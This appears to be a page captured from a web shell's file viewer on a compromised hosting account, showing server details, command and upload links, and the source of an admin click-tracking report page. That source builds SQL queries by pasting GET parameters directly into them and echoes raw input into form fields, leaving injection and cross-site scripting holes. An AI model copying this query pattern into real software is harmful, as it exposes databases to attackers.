|
Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/destinytrafficsolutions/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
error_reporting(0);
ini_set('display_errors', 0);
$se = $_SESSION["id"];
if (!isset($_SESSION['id'])) {
header("Location: login.php");
}
include("inc/config.php");
?>
<!DOCTYPE html>
<html lang="en">
<?php require "inc/head.php"; ?>
<body>
<!-- header-->
<?php require "inc/header.php"; ?>
<!-- End header-->
<div class="wrapper">
<?php require "inc/sidebar.php"; ?>
<?php
include("db_connection.php"); // Include database connection
// Default values for filters
$start_date = isset($_GET['start_date']) ? $_GET['start_date'] : '';
$start_time = isset($_GET['start_time']) ? $_GET['start_time'] : '00:00:00';
$end_time = isset($_GET['end_time']) ? $_GET['end_time'] : '23:59:59';
$emp_id = isset($_GET['emp_id']) ? $_GET['emp_id'] : '';
$project_id = isset($_GET['project_id']) ? $_GET['project_id'] : '';
// Fetch employees for dropdown
$emp_query = "SELECT id, emp_name FROM employees";
$emp_result = mysqli_query($conn, $emp_query);
// Fetch projects for dropdown
$project_query = "SELECT id, project_name FROM projects";
$project_result = mysqli_query($conn, $project_query);
?>
<div id="content">
<div class="row mb-4">
<div class="col-12">
<div class="row">
<div class="col-12 col-md-12 mb-4">
<div class="card redial-border-light redial-shadow">
<div class="card-body">
<!-- 🔹 Filter Form -->
<form method="GET" action="">
<div class="row">
<div class="col-md-2">
<label>Start Date:</label>
<input type="date" name="start_date" class="form-control" value="<?= $start_date ?>">
</div>
<div class="col-md-2">
<label>Start Time:</label>
<input type="time" name="start_time" class="form-control" value="<?= $start_time ?>">
</div>
<div class="col-md-2">
<label>End Time:</label>
<input type="time" name="end_time" class="form-control" value="<?= $end_time ?>">
</div>
<div class="col-md-3">
<label>Employee:</label>
<select name="emp_id" class="form-control">
<option value="">All Employees</option>
<?php while ($emp = mysqli_fetch_assoc($emp_result)) { ?>
<option value="<?= $emp['id']; ?>" <?= ($emp_id == $emp['id']) ? 'selected' : ''; ?>>
<?= $emp['emp_name']; ?>
</option>
<?php } ?>
</select>
</div>
<div class="col-md-3">
<label>Project:</label>
<select name="project_id" class="form-control">
<option value="">All Projects</option>
<?php while ($project = mysqli_fetch_assoc($project_result)) { ?>
<option value="<?= $project['id']; ?>" <?= ($project_id == $project['id']) ? 'selected' : ''; ?>>
<?= $project['project_name']; ?>
</option>
<?php } ?>
</select>
</div>
<div class="col-md-4 mt-4">
<button type="submit" class="btn btn-primary">Filter</button>
<a href="<?= basename($_SERVER['PHP_SELF']); ?>" class="btn btn-secondary">Clear Filter</a>
</div>
</div>
</form>
<hr>
<!-- 🔹 Summary Table (Filtered) -->
<?php
$summary_query = "SELECT c.v_name, COUNT(*) AS total
FROM click_records cr
LEFT JOIN categories c ON cr.category_id = c.id
LEFT JOIN projects p ON cr.project_id = p.id
LEFT JOIN employees e ON cr.emp_id = e.id
WHERE 1";
// Apply filters
if ($start_date) {
$summary_query .= " AND DATE(cr.clicked_at) = '$start_date'";
}
if ($start_time && $end_time) {
$summary_query .= " AND TIME(cr.clicked_at) BETWEEN '$start_time' AND '$end_time'";
}
if ($emp_id) {
$summary_query .= " AND e.id = '$emp_id'";
}
if ($project_id) {
$summary_query .= " AND p.id = '$project_id'";
}
$summary_query .= " GROUP BY c.v_name";
$summary_result = mysqli_query($conn, $summary_query);
?>
<h4>Summary (Filtered)</h4>
<table class="table table-bordered">
<thead>
<tr>
<th>Category</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<?php while ($row = mysqli_fetch_assoc($summary_result)) { ?>
<tr>
<td><?= htmlspecialchars($row['v_name']) ?: 'No Category'; ?></td>
<td><?= $row['total']; ?></td>
</tr>
<?php } ?>
</tbody>
</table>
<hr>
<!-- 🔹 Project List Table -->
<?php
$query = "SELECT
p.id AS project_id,
p.project_name,
e.emp_name,
c.v_name AS category_name,
COALESCE(cr.click_count, 0) AS total_clicks,
cr.clicked_at
FROM projects p
LEFT JOIN employees e ON p.emp_id = e.id
LEFT JOIN click_records cr ON p.id = cr.project_id
LEFT JOIN categories c ON cr.category_id = c.id
WHERE 1";
// Apply filters
if ($start_date) {
$query .= " AND DATE(cr.clicked_at) = '$start_date'";
}
if ($start_time && $end_time) {
$query .= " AND TIME(cr.clicked_at) BETWEEN '$start_time' AND '$end_time'";
}
if ($emp_id) {
$query .= " AND e.id = '$emp_id'";
}
if ($project_id) {
$query .= " AND p.id = '$project_id'";
}
$query .= " ORDER BY cr.clicked_at DESC";
$query_run = mysqli_query($conn, $query);
?>
<h4>Project Data (Filtered)</h4>
<table id="example" class="table table-bordered">
<thead>
<tr>
<th>#</th>
<th>Project</th>
<th>Employee Name</th>
<th>Category</th>
<th>Total Clicks</th>
<th>Clicked At</th>
</tr>
</thead>
<tbody>
<?php
$counter = 1;
while ($row = mysqli_fetch_assoc($query_run)) {
?>
<tr>
<td><?= $counter++; ?></td>
<td><?= htmlspecialchars($row['project_name']); ?></td>
<td><?= htmlspecialchars($row['emp_name'] ?: 'Not Assigned'); ?></td>
<td><?= htmlspecialchars($row['category_name'] ?: 'No Category'); ?></td>
<td><?= htmlspecialchars($row['total_clicks']); ?></td>
<td><?= date("Y-m-d H:i:s", strtotime($row['clicked_at'])); ?></td>
</tr>
<?php } ?>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<script src="dist/js/plugins.min.js"></script>
<script src="dist/js/common.js"></script>
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script src="https://cdn.datatables.net/1.13.6/js/jquery.dataTables.min.js"></script>
<script src="https://cdn.datatables.net/buttons/2.4.1/js/dataTables.buttons.min.js"></script>
<script src="https://cdn.datatables.net/buttons/2.4.1/js/buttons.html5.min.js"></script>
<script src="https://cdn.datatables.net/buttons/2.4.1/js/buttons.print.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/pdfmake/0.1.68/pdfmake.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/pdfmake/0.1.68/vfs_fonts.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jszip/3.10.1/jszip.min.js"></script>
</body>
</html>